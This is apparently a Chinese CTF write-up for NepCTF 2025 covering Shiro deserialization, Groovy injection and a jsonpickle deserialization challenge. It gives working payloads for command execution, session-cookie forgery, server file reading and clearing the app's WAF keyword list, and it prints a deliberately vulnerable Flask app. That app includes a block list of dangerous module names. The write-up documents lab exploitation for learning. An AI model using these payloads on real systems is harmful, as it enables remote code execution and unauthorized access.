2025-Nepctf


JavaSeri

shiro反序列化

登入框抓包一眼shiro反序列化

image-20250728214615258

https://github.com/SummerSec/ShiroAttack2/releases用最新版本的shiro反序列化工具一把梭哈即可(爆破密钥后就爆破利用链然后rce即可)

image-20250728222415674

easyGooGooVVVY

Groovy 注入-可直接打java反射

直接搜索Groovy 注入,出现一篇文章

Groovy注入 - r_0xy - 博客园

直接经典打反射

1
this.class.classLoader.loadClass("java.lang.Runtime").getRuntime().exec("env").text
1
this.class.classLoader.loadClass("java.lang.System").getenv()
1
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("env").getText()//不直接加载Class绕过waf

或使用经典 ProcessBuilder 链

1
2
proc = ['sh','-c','env'] as ProcessBuilder
proc.start().text

RevengeGooGooVVVY

跟上题一模一样

1
this.class.classLoader.loadClass("java.lang.Runtime").getRuntime().exec("env").text
1
this.class.classLoader.loadClass("java.lang.System").getenv()
1
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("env").getText()
1
2
proc = ['sh','-c','env'] as ProcessBuilder
proc.start().text

safe_bank

jsonpickle反序列化+list.clear()方法置空waf

进入题目看到关键提示

image-20250804091607063

先注册一个账号抓包看看

image-20250804092152584

根据上面提示base64解码看看,得到

1
{"py/object": "__main__.Session", "meta": {"user": "root", "ts": 1754270208}}

发现没签名验证,直接伪造试试

1
2
{"py/object": "__main__.Session", "meta": {"user": "admin", "ts": 1754270208}}
//编码得eyJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsICJtZXRhIjogeyJ1c2VyIjogImFkbWluIiwgInRzIjogMTc1NDI3MDIwOH19

发现登入成功,但是保险柜是假的flag。

image-20250804092531944

那根据现有的条件,搜一下jsonpickle,发现可以打反序列化,直接去网上找文章

从源码看JsonPickle反序列化利用与绕WAF-先知社区

强网S8决赛JsonPcikle Safe模式下的RCE与绕过分析研究-先知社区

文章一:

image-20250804102339376

文章2:

image-20250804102558809

结合两篇文章我们可以试着看目录

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "glob.glob", "py/newargs": ["/*"]},"ts":1753446254}}  	
1
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "glob.glob", "py/newargsex": [{"py/set":["/*"]},""]},"ts":1753446254}}	//也行

文章1里json用的单引号,但是python的后端这里好像只能解析双引号!所以必须把所有单引号改成双引号才可以`

image-20250804105050451

OK非常好,来rce发现有waf,那就只能先读源码

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "linecache.getlines", "py/newargsex": [{"py/set":["/app/app.py"]},""]},"ts":1753446254}}
1
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "linecache.getlines", "py/newargs": ["/app/app.py"]},"ts":1753446254}}	//也行

得到

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time

app = Flask(__name__)
app.secret_key = os.urandom(24)

# Database Models
class Account:
    def __init__(self, uid, pwd):
        self.uid = uid
        self.pwd = pwd

class Session:
    def __init__(self, meta):
        self.meta = meta

# Mock Database
users_db = [
    Account("admin", os.urandom(16).hex()),
    Account("guest", "guest")
]

# Security Configuration
FORBIDDEN = [
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
    '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

# Helper Functions
def register_user(username, password):
    """Register a new user if username doesn't exist"""
    for acc in users_db:
        if acc.uid == username:
            return False
    users_db.append(Account(username, password))
    return True

def waf(serialized):
    """Web Application Firewall to prevent dangerous deserialization"""
    try:
        data = json.loads(serialized)
        payload = json.dumps(data, ensure_ascii=False)
        for bad in FORBIDDEN:
            if bad in payload:
                return bad
        return None
    except:
        return "error"

# Routes
@app.route('/')
def root():
    return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        confirm_password = request.form.get('confirm_password')
        
        if not all([username, password, confirm_password]):
            return render_template('register.html', error="所有字段都是必填的。")
        
        if password != confirm_password:
            return render_template('register.html', error="密码不匹配。")
        
        if len(username) < 4 or len(password) < 6:
            return render_template('register.html', error="用户名至少需要4个字符,密码至少需要6个字符。")
        
        if register_user(username, password):
            return render_template('index.html', message="注册成功!请登录。")
        else:
            return render_template('register.html', error="用户名已存在。")
    
    return render_template('register.html')

@app.post('/auth')
def auth():
    """Authentication endpoint"""
    u = request.form.get("u")
    p = request.form.get("p")
    
    for acc in users_db:
        if acc.uid == u and acc.pwd == p:
            sess_data = Session({'user': u, 'ts': int(time.time())})
            token_raw = jsonpickle.encode(sess_data)
            b64_token = base64.b64encode(token_raw.encode()).decode()
            
            resp = make_response("登录成功。")
            resp.set_cookie("authz", b64_token)
            resp.status_code = 302
            resp.headers['Location'] = '/panel'
            return resp
    
    return render_template('index.html', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
    """User control panel"""
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root', error="缺少Token。"))
    
    try:
        decoded = base64.b64decode(token.encode()).decode()
    except:
        return render_template('error.html', error="Token格式错误。")
    
    if waf(decoded):
        return render_template('error.html', error="请不要黑客攻击!")
    
    try:
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta
        
        if meta.get("user") != "admin":
            return render_template('user_panel.html', username=meta.get('user'))
        
        return render_template('admin_panel.html')
    except Exception as e:
        return render_template('error.html', error="数据解码失败。")

@app.route('/vault')
def vault():
    """Admin-only vault"""
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root'))
    
    try:
        decoded = base64.b64decode(token.encode()).decode()
        if waf(decoded):
            return render_template('error.html', error="请不要尝试黑客攻击!")
        
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta
        
        if meta.get("user") != "admin":
            return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")
        
        flag = "NepCTF{fake_flag_this_is_not_the_real_one}"
        return render_template('vault.html', flag=flag)
    except:
        return redirect(url_for('root'))

@app.route('/about')
def about():
    return render_template('about.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

看到这个waf人直接傻了,代码审计功力太差了。

这时候就要利用list.clear()方法置空waf

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753446254}}

看看测试代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import uuid
import json
import os
import bdb
import pdb
import time

class Account:
    def __init__(self, uid, pwd):
        self.uid = uid
        self.pwd = pwd

class Session:
    def __init__(self, meta):
        self.meta = meta
FORBIDDEN = [
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb',  'pickle', 'marshal',
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
    '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]
def waf(serialized):
    try:
        data = json.loads(serialized)
        payload = json.dumps(data, ensure_ascii=False)
        for bad in FORBIDDEN:
            if bad in payload:
                return bad
        return None
    except:
        return "error"
A = Session({})
payload = '''{"py/object": "__main__.Session", "meta": {"user": {"py/object": "__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753446254}}'''
sess_obj = jsonpickle.decode(payload)
print(sess_obj.meta)
print(FORBIDDEN)
image-20250804124057702

发现waf被置空了。然后将flag输出到1.txt

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"subprocess.getoutput","py/newargs": ["/readflag > /app/1.txt"]},"ts":1753446254}}

然后再读/app/1.txt即可

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "linecache.getlines", "py/newargs": ["/app/1.txt"]},"ts":1753446254}}

image-20250804124455196

https://www.cnblogs.com/LAMENTXU/articles/19007988

谢谢观看